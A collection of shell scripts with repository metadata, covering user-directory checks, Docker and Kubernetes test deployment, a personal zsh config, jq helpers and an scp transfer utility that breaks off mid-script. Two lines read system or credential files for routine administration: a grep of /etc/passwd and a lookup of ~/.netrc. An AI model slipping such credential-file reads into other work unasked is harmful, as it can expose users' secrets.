rsync -rav --no-perms --no-owner --no-group ${images_path}/*.dtb $boot_dir/
sync
fi
cleanup
| true
|
be3fd893a0e4bb41c7086b5f687484c03cd2d73e
|
Shell
|
armand0007/Linux-Sys-Admin-Shell-Scripts
|
/Linux-Sys-Admin-Tasks-Automation-Scripts/check-users-dir.sh
|
UTF-8
| 493
| 3.890625
| 4
|
[] |
no_license
|
#! /bin/bash
# Desc: This script will find directories without users
cd /home
for DIR in * # find everything in the home dir & put it in the DIR directory which is a variable
do
CHK=$(grep -c "/home/$DIR" /etc/passwd) #CHK = the value of grep count of "/home/$DIR" in the passwd file
if [ $CHK -ge 1 ] # greater
then
echo "$DIR is assigned to a user"
else
echo "$DIR is NOT assigned to any user"
fi
done
| true
|
9f301e6b8b99de79a747065dee702c49e519acc8
|
Shell
|
thegecko/yotta-box
|
/docker-build.sh
|
UTF-8
| 151
| 2.515625
| 3
|
[] |
no_license
|
#!/bin/bash
set -e
if hash docker-machine 2>/dev/null; then
(docker-machine start default || exit 0)
fi
docker build "$@" -t thegecko/yotta-box .
| true
|
f6bad40a4e5d4a4df4f9c5f7f76cc4d713bdb7cb
|
Shell
|
choffmeister/ingress-nginx
|
/test/e2e/wait-for-nginx.sh
|
UTF-8
| 4,472
| 3.25
| 3
|
[
"Apache-2.0"
] |
permissive
|
#!/bin/bash
# Copyright 2017 The Kubernetes Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
set -e
if ! [ -z $DEBUG ]; then
set -x
fi
DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" && pwd )"
export NAMESPACE=$1
export NAMESPACE_OVERLAY=$2
echo "deploying NGINX Ingress controller in namespace $NAMESPACE"
function on_exit {
local error_code="$?"
test $error_code == 0 && return;
echo "Obtaining ingress controller pod logs..."
kubectl logs -l app.kubernetes.io/name=ingress-nginx -n $NAMESPACE
}
trap on_exit EXIT
cat << EOF | kubectl apply --namespace=$NAMESPACE -f -
# Required for e2e tcp tests
kind: ConfigMap
apiVersion: v1
metadata:
name: tcp-services
namespace: $NAMESPACE
labels:
app.kubernetes.io/name: ingress-nginx
app.kubernetes.io/part-of: ingress-nginx
---
# Source: nginx-ingress/templates/controller-role.yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
labels:
app.kubernetes.io/name: ingress-nginx
app.kubernetes.io/part-of: ingress-nginx
name: nginx-ingress-controller
rules:
- apiGroups:
- ""
resources:
- namespaces
verbs:
- get
- apiGroups:
- ""
resources:
- configmaps
- pods
- secrets
- endpoints
verbs:
- get
- list
- watch
- apiGroups:
- ""
resources:
- services
verbs:
- get
- list
- update
- watch
- apiGroups:
- extensions
- "networking.k8s.io" # k8s 1.14+
resources:
- ingresses
verbs:
- get
- list
- watch
- apiGroups:
- extensions
- "networking.k8s.io" # k8s 1.14+
resources:
- ingresses/status
verbs:
- update
- apiGroups:
- ""
resources:
- configmaps
resourceNames:
- ingress-controller-leader-nginx
verbs:
- get
- update
- apiGroups:
- ""
resources:
- configmaps
verbs:
- create
- apiGroups:
- ""
resources:
- endpoints
verbs:
- create
- get
- update
- apiGroups:
- ""
resources:
- events
verbs:
- create
- patch
---
# Source: nginx-ingress/templates/controller-rolebinding.yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
labels:
app.kubernetes.io/name: ingress-nginx
app.kubernetes.io/part-of: ingress-nginx
name: nginx-ingress-controller
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: Role
name: nginx-ingress-controller
subjects:
- kind: ServiceAccount
name: nginx-ingress
namespace: $NAMESPACE
EOF
# Use the namespace overlay if it was requested
if [[ ! -z "$NAMESPACE_OVERLAY" && -d "$DIR/namespace-overlays/$NAMESPACE_OVERLAY" ]]; then
echo "Namespace overlay $NAMESPACE_OVERLAY is being used for namespace $NAMESPACE"
helm install nginx-ingress stable/nginx-ingress \
--namespace=$NAMESPACE \
--wait \
--values "$DIR/namespace-overlays/$NAMESPACE_OVERLAY/values.yaml"
else
cat << EOF | helm install nginx-ingress stable/nginx-ingress --namespace=$NAMESPACE --wait --values -
controller:
image:
repository: ingress-controller/nginx-ingress-controller
tag: 1.0.0-dev
scope:
enabled: true
config:
worker-processes: "1"
readinessProbe:
initialDelaySeconds: 3
periodSeconds: 1
livenessProbe:
initialDelaySeconds: 3
periodSeconds: 1
podLabels:
app.kubernetes.io/name: ingress-nginx
app.kubernetes.io/part-of: ingress-nginx
service:
type: NodePort
labels:
app.kubernetes.io/name: ingress-nginx
app.kubernetes.io/part-of: ingress-nginx
extraArgs:
tcp-services-configmap: $NAMESPACE/tcp-services
# e2e tests do not require information about ingress status
update-status: "false"
terminationGracePeriodSeconds: 1
admissionWebhooks:
enabled: false
defaultBackend:
enabled: false
rbac:
create: false
EOF
fi
| true
|
d2270aafe8523d2663526adbd79773f3a75d0626
|
Shell
|
jamesridgway/dotfiles
|
/zsh/.zshrc
|
UTF-8
| 2,326
| 2.90625
| 3
|
[] |
no_license
|
# Oh-my-zsh setup
export ZSH=$HOME/.oh-my-zsh
if [ -f "$ZSH/oh-my-zsh.sh" ]; then
ZSH_THEME="jagnoster"
plugins=(git autojump)
source $ZSH/oh-my-zsh.sh
fi
# Editor
export EDITOR="vim"
# Aliases
# List SSH hosts from SSH config
alias ssh-hosts="grep -P \"^Host ([^*]+)$\" $HOME/.ssh/config | sed 's/Host //'"
alias ec2-ls='aws ec2 describe-instances --query "Reservations[].Instances[].{Name: Tags[?Key=='"'"'Name'"'"'] | [0].Value, InstanceId: InstanceId, PrivateIpAddress: PrivateIpAddress, InstanceTyp: InstanceType, State: State.Name}"'
# PATH
export PATH="$PATH:$HOME/.rvm/bin" # Add RVM to PATH for scripting
export PATH="$PATH:$HOME/.local/bin"
export PATH="$PATH:$HOME/bin"
# Android Sdk
if [ -d "$HOME/Android/Sdk" ]; then
export ANDROID_HOME="$HOME/Android/Sdk"
fi
# Go path
if [ -d "$HOME/projects/go-projects" ]; then
export GOPATH="$HOME/projects/go-projects"
fi
if [ -n "$DESKTOP_SESSION" ];then
eval $(gnome-keyring-daemon --start)
export SSH_AUTH_SOCK
fi
# Python (macOS)
if [ -d "$HOME/Library/Python/3.7/bin" ]; then
export PATH="$PATH:$HOME/Library/Python/3.7/bin"
fi
# Terraform caching
mkdir -p "${HOME}/.terraform.d/plugin-cache"
export TF_PLUGIN_CACHE_DIR="${HOME}/.terraform.d/plugin-cache"
# tabtab source for serverless package
# uninstall by removing these lines or running `tabtab uninstall serverless`
[[ -f /home/james/code/useful/phone-api/node_modules/tabtab/.completions/serverless.zsh ]] && . /home/james/code/useful/phone-api/node_modules/tabtab/.completions/serverless.zsh
# tabtab source for sls package
# uninstall by removing these lines or running `tabtab uninstall sls`
[[ -f /home/james/code/useful/phone-api/node_modules/tabtab/.completions/sls.zsh ]] && . /home/james/code/useful/phone-api/node_modules/tabtab/.completions/sls.zsh
# tabtab source for slss package
# uninstall by removing these lines or running `tabtab uninstall slss`
[[ -f /home/james/code/useful/phone-api/node_modules/tabtab/.completions/slss.zsh ]] && . /home/james/code/useful/phone-api/node_modules/tabtab/.completions/slss.zsh
eval "$(zellij setup --generate-auto-start zsh)"
export NVM_DIR="$HOME/.nvm"
[ -s "$NVM_DIR/nvm.sh" ] && \. "$NVM_DIR/nvm.sh" # This loads nvm
[ -s "$NVM_DIR/bash_completion" ] && \. "$NVM_DIR/bash_completion" # This loads nvm bash_completion
| true
|
e9293b447af8ec150369709ca42e2dc9433e484f
|
Shell
|
MSergiev/RPI-Surveillance-Core
|
/scripts/keep_alive.sh
|
UTF-8
| 270
| 3.109375
| 3
|
[] |
no_license
|
#! /bin/sh
# check that motion is running every 5 minutes
# result is zero if we find it running
ps -F | grep "\./door"
if [ $? -ne 0 ]
then
echo "Monitor not running, re-starting it"
sudo /home/pi/wiringPi/door/./door
else
echo "Monitor is running."
fi
exit 0
| true
|
04c494e539e6d00fc77f459c2d6342da7b0e9ecb
|
Shell
|
tst2005sh/jsondiff
|
/lib/json2flat.jq.lib.sh
|
UTF-8
| 702
| 2.703125
| 3
|
[] |
no_license
|
jq_option_json2flat='-S'
jq_function_json2flat='
def json2flat:
reduce ( tostream|select(length==2) ) as $i ( {}; .[ $i[0]|map(
if type=="number" then
"[" + tostring + "]"
elif (tostring|test("^[a-zA-Z0-9_]*$")) then
"." + tostring
else
"[" + tojson + "]"
end
) | join("")] = $i[1] )
;
'
# json2flat
jq_cmd_json2flat() {
jq_stack option -S
jq_stack function "$jq_function_json2flat"
jq_stack call json2flat
}
jq_cmd2_json2flat() {
jq_stack2 option -S
jq_stack2 function "$jq_function_json2flat" named json2flat
jq_stack2 call json2flat
}
jq_cmd3_json2flat() {
jq_stack3 option -S modcall json2flat
}
jq_cmd4_json2flat() {
${self:-jq_stack4} :modcall json2flat
}
| true
|
dd3d19311a75fe79bf3b2b0392fca7ace07f7f41
|
Shell
|
linz/Geodesy-Web-Services
|
/gws-system-test/src/main/bash/find-sites-in-network-linz.sh
|
UTF-8
| 1,014
| 3.46875
| 3
|
[
"BSD-3-Clause"
] |
permissive
|
#!/usr/bin/env bash
set -e
#gws=http://localhost:8081
#openam=http://localhost:8083/openam
gws=https://devgeodesy-webservices.gnss.linz.io
function knownNetworks {
curl -s ${gws}/corsNetworks | jq ._embedded.corsNetworks[].name | xargs echo
}
function printUsage {
echo "Output metedata links for all sites in a given CORS network."
echo "Usage: $(basename "${0}") <network-name>"
echo " where network-name is one of following: $(knownNetworks)"
}
if [[ $# != 1 ]]; then
printUsage
exit 1
fi
networkName=${1}
networkId=$(curl -s "${gws}/corsNetworks?name=${networkName}" | jq ._embedded.corsNetworks[0].id)
if [ "${networkId}" = "null" ]; then
echo "No such network, please choose one of following: $(knownNetworks)"
exit 1
fi
fourCharIds=$(curl -s "${gws}/corsSites?networkTenancies.corsNetworkId=${networkId}&size=1000" | jq ._embedded.corsSites[].fourCharacterId | tr -d '"')
for fourCharId in ${fourCharIds}; do
echo "${siteManager}/siteLog/${fourCharId}"
done
| true
|
c66a6b53d4dcb5d420274416c90f362c9832291c
|
Shell
|
shamsup/subclass-dance-party
|
/.bin/ci
|
UTF-8
| 1,188
| 3.640625
| 4
|
[] |
no_license
|
# -*- mode: sh -*-
#!/usr/bin/env bash
set -e
PROJECT_DIR="$(git rev-parse --show-toplevel)"
#
# Setup
#
INSTALL_DEPS=0
INSTALL_MOCHA=0
INSTALL_PHANTOMJS=0
INSTALL_MOCHAPHANTOMJS=0
cd $PROJECT_DIR
#
# Project dependencies
#
# If not already installed, install testing dependencies and add them to the
# loadpath
if [[ ! -x $(which mocha) ]]; then
echo "Global mocha installation not found."
INSTALL_DEPS=1
INSTALL_MOCHA=1
fi
if [[ ! -x $(which phantomjs) ]]; then
echo "Global phantomjs installation not found."
INSTALL_DEPS=1
INSTALL_PHANTOMJS=1
fi
if [[ ! -x $(which mocha-phantomjs) ]]; then
echo "Global mocha-phantomjs installation not found."
INSTALL_DEPS=1
INSTALL_MOCHAPHANTOMJS=1
fi
if [[ $INSTALL_DEPS = 1 ]]; then
echo "Installing testing dependencies..."
[[ $INSTALL_MOCHA = 1 ]] && npm install mocha
[[ $INSTALL_PHANTOMJS = 1 ]] && npm install phantomjs
[[ $INSTALL_MOCHAPHANTOMJS = 1 ]] && npm install mocha-phantomjs
echo "Adding testing dependencies to loadpath..."
PATH=$PROJECT_DIR/node_modules/.bin:$PATH
fi
#
# Test
#
mocha-phantomjs --no-colors --reporter min $PROJECT_DIR/SpecRunner.html
| true
|
39b46a3f2b611df5e47f0edef3be3374bdf9ac90
|
Shell
|
qingli411/palm_lanl
|
/trunk/SCRIPTS/batch_scp
|
UTF-8
| 22,947
| 2.953125
| 3
|
[
"BSD-3-Clause"
] |
permissive
|
#! /bin/bash
# batch_scp - script for automatic file/directory transfer using scp
#--------------------------------------------------------------------------------#
# This file is part of the PALM model system.
#
# PALM is free software: you can redistribute it and/or modify it under the terms
# of the GNU General Public License as published by the Free Software Foundation,
# either version 3 of the License, or (at your option) any later version.
#
# PALM is distributed in the hope that it will be useful, but WITHOUT ANY
# WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR
# A PARTICULAR PURPOSE. See the GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License along with
# PALM. If not, see <http://www.gnu.org/licenses/>.
#
# Copyright 1997-2018 Leibniz Universitaet Hannover
#--------------------------------------------------------------------------------#
#
# Current revisions:
# ------------------
#
#
# Former revisions:
# -----------------
# $Id: batch_scp 2718 2018-01-02 08:49:38Z maronga $
# Corrected "Former revisions" section
#
# 2715 2017-12-27 11:31:43Z raasch
# last commit documented
#
# 2714 2017-12-27 11:25:57Z raasch
# bugfix: variable cycle explicitly interpreted with 10 as the number base
#
# 2696 2017-12-14 17:12:51Z kanani
# Change in file header (GPL part)
#
# 2600 2017-11-01 14:11:20Z raasch
# cycle numbers made three digits wide
# host depending code completely removed
#
# 2261 2017-06-08 14:25:57Z raasch
# option usecycle added, script is running under bash now,
# filenames are allowed to contain arbitrary number of dots "."
#
# 1310 2014-03-14 08:01:56Z raasch
#
# 1202 2013-07-10 16:22:07Z witha
# adjustments for Forwind cluster (lcflow): using absolute paths for ssh
#
# 1099 2013-02-10 01:47:43Z raasch
# LANG variable is unset in some ssh calls to guarantee messages in English
#
# 1094 2013-02-03 01:52:12Z raasch
# new option -P for explicit setting of ssh/scp port
#
# 1090 2013-02-02 07:06:13Z raasch
# code put under GPL (PALM 3.9)
# adjustments for Kyushu-University computing center (lckyut)
# old changelog messages removed
#
# 08/03/11 - Siggi - adjustments for ibmkisti: this machine allows
# outgoing ssh/scp connections only from the
# interactive nodes (gaiad). All ssh/scp traffic is
# done via this interactive node.
# 04/01/02 - Siggi - first version finished
# 29/11/01 - Siggi - script development started
#
#--------------------------------------------------------------------------------#
# batch_scp - script for automatic file/directory transfers using scp
#
# batch_scp has up to 5 arguments (first 4 are mandatory):
# $1 = IP-addres of remote (target) machine
# $2 = file to be transferred
# $3 = directory of remote machine, where file should be copied to
# $4 = filename that file should be given on remote machine
# $5 = file extension (optional argument)
#
# ATTENTION: problems might occur if directories on remote machine include very
# old files for which "ls -al" does give "year" as modification
# time instead of "hh:mm". In such a case, batch_scp cannot check the
# filename and may not find the file (e.g. if option -g is used).
#--------------------------------------------------------------------------------#
# VARIABLENVEREINBARUNGEN + DEFAULTWERTE
random=$RANDOM
absolut=false
append=false
catalog_copy=false
check=false
cyclestring=""
delete=false
errfile=batch_scp.errfile.$random
filelist=filelist.$random
get=false
local_host=`hostname`
local_wdir=`pwd`
locat=normal
make_catalog=false
overwrite=false
print_local_filename=false
quote_wait=false
remote_user=""
silent=false
transfermode=binary
typeset -i iii icycle maxcycle=0 usecycle wait=0
# FEHLERBEHANDLUNG
# BEI EXIT:
trap 'if [[ $locat != normal ]]
then
[[ -f "$filelist" ]] && cat $filelist
[[ -f "$errfile" ]] && cat $errfile
rm -rf $filelist $errfile
printf " +++ BATCH_SCP terminated \n"
printf " locat = $locat \n"
printf " arguments = $1 $2 $3 $4 \n\n"
exit 1
fi' exit
# BEI TERMINAL-BREAK:
trap 'rm -rf $filelist $errfile
printf " +++ BATCH_SCP terminated \n\n"
exit 1
' 2
# SHELLSCRIPT-OPTIONEN EINLESEN
while getopts :aAbcCdgmnoP:qsu:U:w: option
do
case $option in
(a) absolut=true;;
(A) append=true;;
(b) transfermode=binary;;
(c) catalog_copy=true;;
(C) check=true;;
(d) delete=true;;
(g) get=true;;
(m) make_catalog=true;;
(n) print_local_filename=true;; # Option ist nicht dokumentiert !
(o) overwrite=true;;
(P) scp_port=$OPTARG;;
(q) quote_wait=true;;
(s) silent=true;;
(u) remote_user=$OPTARG;;
(U) usecycle=$OPTARG;;
(w) wait=$OPTARG;;
(\?) printf " +++ option $OPTARG unknown \n"
printf " --> call: batch_scp [-aAbcCdgmnoqsuw] <IP-adress> <localfile> <remotepath> <remotefile>\n"
locat=parameter;exit;;
esac
done
(( to_shift = $OPTIND - 1 ))
shift $to_shift
# KURZE AUFRUFBESCHREIBUNG WIRD HIER AUSGEGEBEN
if [ "$1" = "?" ]
then
(printf "\n *** batch_scp can be called as follows:\n"
printf "\n batch_scp -a -b -d -g -o -q -s -u.. -U.. -w.. <param1> <param2> <param3> <param4>\n"
printf "\n Description of available options:\n"
printf "\n Option Description Default-Value"
printf "\n -a Filenames are absolute. No cycle- ---"
printf "\n numbers will be determined"
printf "\n -A append to destination file ---"
printf "\n -b use binary-modus for transfer ASCII-modus"
printf "\n -c transfer of directory ---"
printf "\n -C check-Modus, no transfer ---"
printf "\n -d file to be transferred will be ---"
printf "\n deleted after successful transfer"
printf "\n -g change of transfer direction, i.e. ---"
printf "\n file will be transferred from"
printf "\n destination host"
printf "\n -o any existing file will be overwritten ---"
printf "\n -q switch on \"quote wait\" on ---"
printf "\n estination host"
printf "\n -s do not display informative messages ---"
printf "\n -u username on remote machine <username>"
printf "\n -U cycle number to be used ---"
printf "\n -w waiting time in seconds, before trans- 0"
printf "\n fer will be initiated"
printf "\n "
printf "\n The positional parameters <param1> - <param4> must be provided at"
printf "\n any time and have the following meaning:"
printf "\n <param1> - IP-adress of destination host"
printf "\n or \"?\" (creates this outline)"
printf "\n <param2> - abs. or rel. path of file to be transferred"
printf "\n <param3> - directory (abs.!) on destination host. Special cahracters"
printf "\n like \~ are allowed but must be quoted by \"."
printf "\n <param4> - filename (without path!) on destination host; must not"
printf "\n be given, if option -c is used."
printf "\n When using option -g, file will be copied from destination host to file"
printf "\n <param2>. In this case, no overwriting is possible.") | more
exit
fi
# PRUEFEN, OB ALLE ARGUMENTE VORLIEGEN
if [[ "$1" = "" ]]
then
printf " +++ 1. argument missing \n"
locat=argument; exit
elif [[ "$2" = "" ]]
then
printf " +++ 2. argument missing \n"
locat=argument; exit
elif [[ "$3" = "" ]]
then
printf " +++ 3. argument missing \n"
locat=argument; exit
elif [[ "$4" = "" ]]
then
printf " +++ 4. argument missing \n"
locat=argument; exit
fi
# USER-NAME AUF ZIELRECHNER AUS .NETRC-DATEI ERMITTELN
if [[ -z $remote_user ]]
then
# PRUEFEN, OB NETRC-DATEI VORHANDEN
if [[ ! -f ~/.netrc ]]
then
printf " +++ option -u not given; \n"
printf " getting remote-username from password file failed \n"
printf " because ~/.netrc does not exist \n"
locat=netrc; exit
fi
grep $1 ~/.netrc | read dum dum dum remote_user dum dum
fi
# APPEND IST NUR BEI TRANSFER EINZELNER DATEIEN OHNE UEBERSCHREIBEN
# ERLAUBT. GET IST DABEI EBENFALLS NICHT ERLAUBT
if [[ $append = true && ( $get = true || $catalog_copy = true || $overwrite = true ) ]]
then
printf " +++ options -g, -c and -o are not allowed, if -A is given \n"
locat=parameter; exit
fi
# QUOTE WAIT FUNKTIONIERT NICHT BEIM KOPIEREN GANZER VERZEICHNISSE
if [[ $quote_wait = true && $catalog_copy = true ]]
then
printf " +++ options -c and -q must not be used simultaneously\n"
locat=parameter; exit
fi
# IM CHECK-MODUS WIRD SCRIPT HIER BEENDET
[[ $check = true ]] && exit
# BESTIMMTE ZEIT WARTEN, BIS WEITERGEMACHT WIRD (NOETIG Z.B. BEI TRANSFER
# VON JOBPROTOKOLLEN AUS JOBS HERAUS)
sleep $wait
# Set port number option for calls of ssh/scp, subjob and batch_scp scripts
if [[ "$scp_port" != "" ]]
then
PORTOPT="-P $scp_port"
SSH_PORTOPT="-p $scp_port"
fi
# PRUEFEN, OB LOKALE DATEI/LOKALES VERZEICHNIS VORHANDEN BZW. NICHT VORHANDEN
if [[ $get = false ]]
then
if [[ $catalog_copy = false ]]
then
if [[ ! -f $2 ]]
then
printf " +++ file \"$2\" to be transferred does not exist \n"
locat=localfile; exit
fi
else
if [[ ! -d $2 ]]
then
printf " +++ directory \"$2\" to be transferred does not exist\n"
printf " or is not a directory \n"
locat=localfile; exit
fi
fi
else
if [[ $catalog_copy = false ]]
then
if [[ -f $2 ]]
then
if [[ $overwrite = true ]]
then
rm $2
else
printf " +++ local file \"$2\" is already existing \n"
locat=localfile; exit
fi
else
# PRUEFEN, OB SICH LOKALE DATEI ANLEGEN LAESST
local_dirname=`dirname $2`
if [[ ! -d $local_dirname ]]
then
printf " +++ local directory \"$local_dirname\" \n"
printf " does not exist or is not a directory \n"
printf " +++ cannot copy file \"$3/$4\" \n"
printf " from \"$1\" to \"$local_host\" \n"
locat=localfile; exit
fi
fi
else
if [[ -d $2 || -f $2 ]]
then
printf " +++ local directory \"$2\" is already existing, \n"
printf " or a file with the same name exists \n"
locat=localfile; exit
fi
fi
fi
# VERZEICHNISLSTE DES ZIELRECHNERS ERSTELLEN
ssh $SSH_PORTOPT $1 -l $remote_user "unset LANG; cd $3; ls -1; echo '*** list complete'" > $filelist 2>&1
ssh_status=$?
if [[ $ssh_status != 0 ]]
then
if [[ ! -f $filelist ]]
then
echo " local_host = $local_host ssh_status = $ssh_status"
locat=ssh_failed_1; exit
else
if [[ $(grep -c "*** list complete" $filelist) = 0 ]]
then
echo " local_host = $local_host ssh_status = $ssh_status"
locat=ssh_failed_2; exit
fi
fi
fi
# PRUEFEN, OB VERZEICHNIS VORHANDEN IST. WENN GANZES VERZEICHNISS ZUM
# ZIELRECHNER KOPIERT WERDEN SOLL, DARF DORT NOCH KEIN ENTSPRECHENDES
# VERZEICHNIS VORHANDEN SEIN
if [[ $(cat $filelist | grep -c "not found") != 0 || \
$(cat $filelist | grep -c "No such file or directory") != 0 ]]
then
if [[ ! ( $catalog_copy = true && $get = false ) ]]
then
if [[ $make_catalog = false ]]
then
printf " +++ directory \"$3\" does not exist on destination host (\"$1\") \n"
locat=directory; exit
else
if [[ $silent = false ]]
then
printf " >>> directory \"$3\" does not exist on destination host (\"$1\")"
printf "\n trying to create \"$3\" \n"
fi
make_catalog=force
fi
fi
fi
# PRUEFEN, OB DATEI/VERZEICHNIS VORHANDEN, WENN JA, HOECHSTEN ZYKLUS
# ERMITTELN (BZW. IM ABSOLUT-MODUS PRUEFEN, OB DATEI VORHANDEN IST)
# DAS GANZE ABER NUR, WENN NICHT OVERWRITE-MODUS GEWAEHLT WURDE, DIE
# EVENTUELL VORHANDENE DATEI ALSO UEBERSCHRIEBEN WERDEN SOLL
found=false
if [[ ( $overwrite = false && $get = false ) || $get = true ]]
then
while read zeile
do
if [[ $absolut = false ]]
then
# REMOVE EXTENSION, IF EXISTING AND GIVEN AS ARGUMENT
if [[ "$5" != "" && "$5" != " " ]]
then
extension=${zeile##*.}
if [[ $extension = $5 ]]
then
text=${zeile%.*}
else
text=${zeile}
fi
else
text=${zeile}
fi
# GET AND REMOVE CYCLE NUMBER, IF EXISTING, AND CHECK, IF FILE EXISTS
cycle=${text##*.}
if [[ $cycle = $text ]]
then
# filename contains no dot, i.e. no cycle number
if [[ "$text" = "$4" ]]
then
found=true
(( icycle = 0 ))
fi
else
# filename contains at least one dot
# find out if the string after the last dot is a number
if [[ $cycle =~ ^-?[0-9]+$ ]]
then
text=${text%.*}
if [[ "$text" = "$4" ]]
then
found=true
(( icycle = $((10#$cycle)) ))
fi
else
if [[ "$text" = "$4" ]]
then
found=true
(( icycle = 0 ))
fi
fi
fi
if (( icycle > maxcycle ))
then
(( maxcycle = icycle ))
# FOR COMPATIBILITY REASONS WITH OLDER VERSIONS
# CHECK IF CYCLE NUMBER CONTAINS LEADING ZEROS
if [[ $(echo $cycle | cut -c1) = 0 ]]
then
leading_zero=true
else
leading_zero=false
fi
fi
else
# IM ABSOLUT-MODUS MUSS NUR GEPRUEFT WERDEN, OB DIE DATEI
# VORHANDEN IST
[[ $4 = $zeile ]] && found=true
fi
done <$filelist
fi
if [[ $found = true ]]
then
if [[ $get = false ]]
then
if [[ $absolut = false ]]
then
if [[ $append = false ]]
then
(( maxcycle = maxcycle + 1 ))
# TRY TO USE FIXED CYCLE NUMBER, IF GIVEN AS OPTION
if [[ "$usecycle" != "" ]]
then
if (( usecycle >= maxcycle ))
then
(( maxcycle = usecycle ))
else
printf " >>> Unfied cycle number cannot be used\n"
fi
fi
cyclestring=`printf ".%03d" $maxcycle`
else
if (( maxcycle == 0 ))
then
cyclestring=""
else
cyclestring=`printf ".%03d" $maxcycle`
fi
fi
else
if [[ $overwrite = false ]]
then
printf " +++ file \"$3/$4\" \n"
printf " already exists on destination host (use -o, if necessary) \n"
locat=file; exit
fi
fi
else
if [[ $absolut = false ]]
then
if (( maxcycle == 0 ))
then
cyclestring=""
else
# MAKE CYCLE NUMBER THREE DIGITS WIDE
if [[ $leading_zero = true ]]
then
cyclestring=`printf ".%03d" $maxcycle`
else
cyclestring=.$maxcycle
fi
(( maxcycle = 0 ))
fi
else
cyclestring=""
fi
fi
else
if [[ "$usecycle" != "" ]]
then
(( maxcycle = usecycle ))
cyclestring=`printf ".%03d" $usecycle`
else
cyclestring=""
fi
# ABBRUCH, WENN DATEI VON ZIELRECHNER GEHOLT WERDEN SOLL, DORT ABER
# NICHT VORHANDEN IST
if [[ $get = true ]]
then
printf " +++ file \"$3/$4\" \n"
printf " does not exist on destination host (\"$1\") \n"
locat=remotefile; exit
fi
fi
# FALLS KATALOG ERZEUGT WIRD, DARF DIE DATEI IN KEINEM FALL EINE
# ZYKLUSNUMMER BESITZEN, DA SIE JA NOCh GARNICHT EXISTIEREN KANN
if [[ $make_catalog = force ]]
then
cyclestring=""
(( maxcycle = 0 ))
fi
# FALLS NAMENSOPTION (-n) GEWAEHLT WURDE, NUR DEN ERMITTELTEN LOKALEN
# DATEINAMEN DES ZIELRECHNERS AUSGEBEN UND SCRIPT BEENDEN
if [[ $print_local_filename = true ]]
then
printf "$4$cyclestring\n"
rm -r $filelist
exit
fi
# FALLS 5. ARGUMENT ANGEGEBEN WURDE, WIRD DIES ALS FILE-EXTENSION
# HINTER DIE ZYKLUS-NUMMER GEHAENGT (FUNKTIONIERT NUR BEI KOPIEREN EINER
# DATEI AUF ZIELRECHNER
if [[ "$5" != "" && $get = false ]]
then
cyclestring=${cyclestring}.$5
fi
# BEI VERZEICHNISTRANSFER VON ZIELRECHNER AUF LOKALEN RECHNER PRUEFEN, OB
# $3 AUF ZIELRECHNER WIRKLICH EIN VERZEICHNIS IST
if [[ $catalog_copy = true && $get = true ]]
then
rm -rf $filelist
ssh $SSH_PORTOPT $1 -l $remote_user "cd $3" > $filelist
if [[ $? != 0 ]]
then
locat=ssh_failed_3; exit
fi
if [[ $(cat $filelist | grep -c "Not a directory") != 0 ]]
then
printf " +++ \"$3\" on destination host is not a directory \n"
locat=directory; exit
fi
fi
# BEI KATALOGTRANSFER AUF LOKALEN RECHNER ENTSPRECHENDES VERZEICHNIS
# ANLEGEN
if [[ $catalog_copy = true ]]
then
if [[ $get = true ]]
then
mkdir $2
fi
fi
catalog_name=$3
[[ "$catalog_name" != "" ]] && catalog_name=${catalog_name}/
# DATEI/VERZEICHNIS PER SCP UEBERTRAGEN
if [[ $get = false ]]
then
if [[ $make_catalog != force ]]
then
if [[ $append = false ]]
then
if [[ $catalog_copy = false ]]
then
scp $PORTOPT -p $2 $remote_user@$1:$catalog_name$4$cyclestring > /dev/null
else
scp $PORTOPT -p -r $2 $remote_user@$1:$catalog_name$4$cyclestring > /dev/null
fi
scp_status=$?
if [[ $scp_status != 0 ]]
then
# CHECK, OB DATEIGROESSEN AUF LOKALEM UND REMOTERECHNER
# UEBEREINSTIMMEN
local_size=`ls -al $2`
local_size=`echo $local_size | cut -d" " -f5`
remote_size=`ssh $SSH_PORTOPT $1 -l $remote_user "ls -al $catalog_name$4$cyclestring"`
remote_size=`echo $remote_size | cut -d" " -f5`
if [[ "$remote_size" != "$local_size" ]]
then
echo " +++ scp failed on host \"$local_host\" with exit $scp_status"
echo " local size = \"$local_size\" remote size = \"$remote_size\" "
date
locat=scp_failed; exit
fi
fi
else
scp $PORTOPT -p $2 $remote_user@$1:${catalog_name}batch_scp_append_file.$random > /dev/null
if [[ $? != 0 ]]
then
# CHECK, OB DATEIGROESSEN AUF LOKALEM UND REMOTERECHNER
# UEBEREINSTIMMEN
local_size=`ls -al $2`
local_size=`echo $local_size | cut -d" " -f5`
remote_size=`ssh $SSH_PORTOPT $1 -l $remote_user "ls -al ${catalog_name}batch_scp_append_file.$random"`
remote_size=`echo $remote_size | cut -d" " -f5`
if [[ "$remote_size" != "$local_size" ]]
then
echo " +++ scp failed on host \"$local_host\" with exit $scp_status"
echo " local size = \"$local_size\" remote size = \"$remote_size\" "
date
locat=scp_for_append_failed; exit
fi
fi
rm $filelist
ssh $SSH_PORTOPT $1 -l $remote_user "cd $3; cat batch_scp_append_file.$random >> $4$cyclestring; rm batch_scp_append_file.$random; echo '*** append complete'" > $filelist
if [[ $? != 0 ]]
then
if [[ ! -f $filelist ]]
then
locat=append_via_ssh_failed; exit
else
if [[ $(grep -c "*** append complete" $filelist) = 0 ]]
then
locat=append_via_ssh_failed; exit
fi
fi
fi
fi
else
ssh $SSH_PORTOPT $1 -l $remote_user "mkdir -p $3"
if [[ $? != 0 ]]
then
locat=ssh_failed_4; exit
fi
scp $PORTOPT -p $2 $remote_user@$1:$catalog_name$4$cyclestring > /dev/null
if [[ $? != 0 ]]
then
locat=scp_failed; exit
fi
fi
else
if [[ $catalog_copy = false ]]
then
if [[ $quote_wait = true ]]
then
printf " +++ quote wait not realized with BATCH_SCP"
locat=unavailable_feature; exit
else
scp $PORTOPT -p $remote_user@$1:$catalog_name$4$cyclestring $2 > /dev/null
